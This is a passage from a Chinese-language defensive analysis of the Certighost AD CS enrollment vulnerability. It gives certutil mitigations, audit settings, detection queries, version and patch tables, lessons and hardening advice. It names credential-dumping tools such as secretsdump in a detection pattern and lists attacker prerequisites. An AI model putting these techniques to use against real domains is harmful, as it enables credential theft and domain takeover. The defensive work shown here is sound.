|- 或查询结果: ROGUE$ (userAccountControl=4096)
|- 8192 标志缺失 -> 拒绝 (非域控)
|- 校验失败 -> 拒绝 enrollment
|- 返回错误
9. 临时缓解与检测
9.1 临时缓解:禁用 chase 回退
对于无法立即打补丁的环境,微软提供了通过 certutil 禁用 chase 回退的临时缓解措施。该措施通过清除 EDITF_ENABLECHASECLIENTDC 标志位实现:
# 清除 EDITF_ENABLECHASECLIENTDC 标志
certutil -setreg policy\EditFlags -EDITF_ENABLECHASECLIENTDC
# 重启 CertSvc 服务使配置生效
Restart-Service CertSvc -Force
执行后,CA 将不再接受请求中的 cdc 属性,chase 回退路径被完全关闭。所有 enrollment 请求必须通过 CA 默认的 LDAP 查询路径解析终端实体身份。
注意事项:
- 该标志位需要在一台一台 CA 上分别设置(多 CA 环境需逐台操作)
- 重启 CertSvc 会导致正在进行的 enrollment 请求失败,建议在维护窗口执行
- 该缓解是"过度防御":合法的跨站点 enrollment 场景可能依赖 chase 回退,禁用后这些场景需要重新设计网络可达性
- 该缓解不能替代补丁——补丁提供了更精细的校验(允许合法 chase、拒绝恶意 chase),而该标志位是开关式禁用
9.2 验证缓解生效
# 查看当前 EditFlags
certutil -getreg policy\EditFlags
# 输出中应看不到 EDITF_ENABLECHASECLIENTDC 标志
# EditFlags:
# EDITF_DISABLEEXTENSIONLIST (0x00000001)
# EDITF_ADDOLDKEYUSAGE (0x00000002)
# ...
# (EDITF_ENABLECHASECLIENTDC 应已消失)
9.3 检测方案
检测点 1:enrollment 请求中的 cdc 属性
在 CA 上启用审核,记录所有带 cdc 属性的 enrollment 请求。补丁后环境中,合法请求通常不带 cdc;带 cdc 的请求高度可疑:
# 启用 CA 审核日志
certutil -setreg policy\AuditFlag +CERTLOG_AUDIT_ENROLLMENT
Restart-Service CertSvc -Force
# 在事件查看器中查看 Security 日志
# 事件 ID 4886 (Certificate Services received a certificate request)
# 事件 ID 4887 (Certificate Services approved a certificate request)
# 检查请求属性中是否包含 cdc
检测点 2:CA 出站连接 445/389 到非 DC 主机
CA 在正常情况下不应主动向域内非 DC 主机发起 SMB(445)或 LDAP(389)连接。监测 CA 主机的出站连接,对 445/389 目标做 DC 白名单校验:
// Microsoft Defender for SIEM / Sentinel KQL 查询示例
DeviceNetworkEvents
| where DeviceName startswith "CORP-CA01"
| where RemotePort in (445, 389)
| where RemoteDeviceName !endswith "-DC" // 根据命名约定调整
| where RemoteIP !in (DC_IP_LIST)
| project TimeGenerated, DeviceName, RemoteIP, RemotePort, RemoteDeviceName
检测点 3:PKINIT 异常证书使用
监测 KDC 上的 PKINIT 认证事件。一台机器通过 PKINIT 认证为 DC 身份是罕见行为,值得告警:
事件 ID 4768 (Kerberos Authentication Ticket (TGT) Request)
- 证书指纹对应的计算机账户
- 该账户是否本应通过 PKINIT 认证(仅 DC / 配置了证书认证的服务账户)
- 颁发 CA 是否为预期的内部 CA
检测点 4:DRSUAPI 调用源异常
监测 DC 上的 DRSUAPI 调用。合法的 DRSUAPI 调用应来自其他 DC;来自非 DC 主机或新出现的主机高度可疑:
DeviceProcessEvents
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName in (~"wmic", ~"python", ~"secretsdump")
| project TimeGenerated, DeviceName, InitiatingProcessFileName, AccountName
10. 影响范围与版本矩阵
10.1 受影响版本
| 产品版本 | 受影响 | 备注 |
|---|---|---|
| Windows Server 2012 / 2012 R2 | 是 | 已脱离主流支持,需 ESU |
| Windows Server 2016 | 是 | |
| Windows Server 2019 | 是 | |
| Windows Server 2022 | 是 | |
| Windows Server 2025 | 是 | |
| Windows 10 1607 | 是 | LTSC 渠道 |
| Windows 10 1809 | 是 | LTSC 渠道 |
| Windows 11 | 视配置 | 仅作为 CA 部署时受影响(罕见) |
| Windows 10 其他版本 | 否 | 非 LTSC 已 EOL |
10.2 利用前提条件矩阵
| 前提条件 | 是否必需 | 默认满足率 | 备注 |
|---|---|---|---|
| 任意域用户账户 | 是 | 高 | 钓鱼/凭据窃取即可获得 |
| Enterprise CA(非 Standalone) | 是 | 中大型企业高 | Standalone CA 不实现 chase 回退 |
Machine 模板启用且默认配置 |
是 | 极高 | 几乎所有 AD CS 部署默认启用 |
ms-DS-MachineAccountQuota > 0 |
是 | 极高 | 默认值 10 |
| 网络可达 CA 的 RPC/DCOM 端点 | 是 | 高 | 域内默认可达 |
| 攻击者主机可被 CA 反向连接(445/389) | 是 | 中 | 取决于网络分段 |
| 目标 DC 与攻击者主机网络可达 | 是 | 高 | 同域内默认可达 |
10.3 补丁矩阵
| KB 编号 | 适用版本 | 发布日期 |
|---|---|---|
| KB5040437 | Windows Server 2022 | 2026-07-14 |
| KB5040442 | Windows Server 2019 | 2026-07-14 |
| KB5040430 | Windows Server 2016 | 2026-07-14 |
| KB5040434 | Windows Server 2025 | 2026-07-14 |
| KB5040458 | Windows Server 2012 R2 (ESU) | 2026-07-14 |
| KB5040461 | Windows 10 1607 (LTSC) | 2026-07-14 |
| KB5040467 | Windows 10 1809 (LTSC) | 2026-07-14 |
11. 深层启示
11.1 "默认安全"假设的再次破产
Certighost 的出现,是对"默认配置即安全"假设的又一次沉重打击。过去十年,业界在 ADCS 安全上形成了清晰的认知模型:模板配置错误是 ADCS 攻击的几乎全部根源,只要审计到位、基线合规,AD CS 就是企业 PKI 中可信的一环。Certighost 证明,这个认知模型的覆盖范围远比想象中狭窄——它只覆盖了"配置层"的缺陷,对"协议设计层"的缺陷束手无策。
更值得警惕的是,chase 回退机制本身并非"新功能"。它在 AD CS 中存在了十余年,被无数安全审计、渗透测试、学术研究检视过,却始终被视为"正常的设计特性"而非"潜在漏洞"。这提示我们:安全审计的盲区往往不在于"看不清细节",而在于"对设计前提的默认信任"。审计者天然倾向于质疑"配置是否偏离基线",却很少质疑"基线本身是否合理"。
11.2 授权与认证的解耦风险
从漏洞机制上看,Certighost 是一个典型的"授权与认证解耦"缺陷。CA 在处理 enrollment 时:
- 认证路径:校验请求方凭据(ROGUE$ 通过)
- 授权路径:决定是否签发(基于模板权限 + 终端实体身份)
两条路径在补丁前是完全独立的。认证通过后,授权路径并不重新校验"请求方是否就是终端实体",导致攻击者可以用 A 的凭据为 B 签发证书。补丁中的 SID 一致性校验,本质上是把这两条路径重新耦合起来——签发时强制要求"请求方 SID 必须与终端实体 SID 一致(或具备合法授权)"。
这种"认证授权解耦"的反模式在 Windows 安全子系统中并不孤立。ADCS 的 ESC1(ENROLLEE_SUPPLIES_SUBJECT)、Kerberos 的 S4U2Self/S4U2Proxy、NTLM 的 relay 类问题,本质上都是认证与授权解耦导致的不同表现形式。Certighost 提示我们:任何允许"用 A 的凭据影响 B 的授权"的设计,都应当被视作高风险,必须在协议层面强制耦合。
11.3 relay 攻击的演化
Certighost 中的 challenge relay 环节,是 NTLM/Kerberos relay 攻击演化的一个新阶段。传统 relay 攻击(如 PetitPotam、PrinterBug)的目标是把认证流量 relay 到目标服务,从而以目标身份访问该服务。Certighost 的 relay 目标是 DC 的 Netlogon,但目的不是"以 DC 身份访问 Netlogon",而是"借用 Netlogon 的认证响应来提取 DC 的身份属性"。
这是一种信息抽取型 relay,而非传统的访问代理型 relay。relay 的目的从"借身份访问服务"演化为"借服务吐身份"。这种演化对防御方提出了新的要求:relay 检测不能只关注"是否有异常的认证流量到达高价值服务",还要关注"是否有认证响应被用于非常规的属性提取"。
11.4 PKI 信任链的最弱环节
AD CS 作为企业 PKI 的核心,其安全模型建立在一个隐含信任上:CA 签发的证书主体是可信的。下游服务(KDC、IIS、802.1X、S/MIME)在校验证书时,只校验签名链与 EKU,几乎从不质疑"主体是否被正确签发"。Certighost 让一张主体为 DC01 的"合法"证书流入攻击者手中,所有下游校验都会通过——因为证书本身在 PKI 层面完全合法。
这揭示了 PKI 信任链的一个根本脆弱点:信任链的安全性强等于其最弱环节的强度。CA 的签发逻辑如果存在授权缺陷,整条信任链的下游校验都将成为无效的"门面"。防御方不能只盯着"证书校验"这一环,必须回溯到"证书签发"这一源头。
11.5 防御方的行动建议
基于以上分析,对防御方提出以下行动建议:
- 立即打补丁:所有部署了 AD CS 的 Windows Server 必须在 7 月补丁窗口内完成升级。补丁是唯一的根本性修复。
- 核查 Enterprise CA 清单:梳理企业内所有 Enterprise CA 部署,确认其补丁状态与
EDITF_ENABLECHASECLIENTDC标志位状态。 - 暂时禁用 chase 回退:对无法立即打补丁的 CA,执行
certutil -setreg policy\EditFlags -EDITF_ENABLECHASECLIENTDC并重启 CertSvc。 - 建立 CA 出站连接监控:CA 主机的出站 445/389 连接必须纳入持续监控,目标 IP 必须在 DC 白名单内。
- 审计 PKINIT 使用:监测所有 PKINIT 认证事件,对非预期主体(尤其是 DC 计算机账户)的 PKINIT 认证建立告警。
- 更新 ADCS 安全基线:将"chase 回退状态"纳入 ADCS 安全基线审计清单,作为常态化合规检查项。
- 重新审视信任模型:评估企业内所有"认证授权解耦"的设计点,识别潜在的同类缺陷。
12. 参考资料
- CVE-2026-54121 PoC 仓库 - https://github.com/aniqfakhrul/CVE-2026-54121
- 微软 2026 年 7 月补丁公告 - https://msrc.microsoft.com/update-guide/
- @h0j3n 研究者主页 - https://h0j3n.github.io/
- @aniqfakhrul 研究者主页 - https://aniqfakhrul.com/
- SpecterOps "Certified Pre-Owned" - https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf
- Certipy 项目 - https://github.com/ly4k/Certipy-adc
- MS-DRSR 协议规范 - https://learn.microsoft.com/openspecs/windows_protocols/ms-drsr/
- MS-WCCE 协议规范 - https://learn.microsoft.com/openspecs/windows_protocols/ms-wcce/
- RFC 4556 (PKINIT) - https://datatracker.ietf.org/doc/html/rfc4556
- Windows Server PKI 部署指南 - https://learn.microsoft.com/windows-server/identity/ad-cs/
免责声明:本文所有技术内容仅用于安全研究与防御教育。文中涉及的攻击技术、工具使用、命令示例均基于公开披露的漏洞资料,不构成对任何系统的攻击指引。请在授权范围内进行安全测试,遵守所在地区的法律法规。
浙公网安备 33010602011771号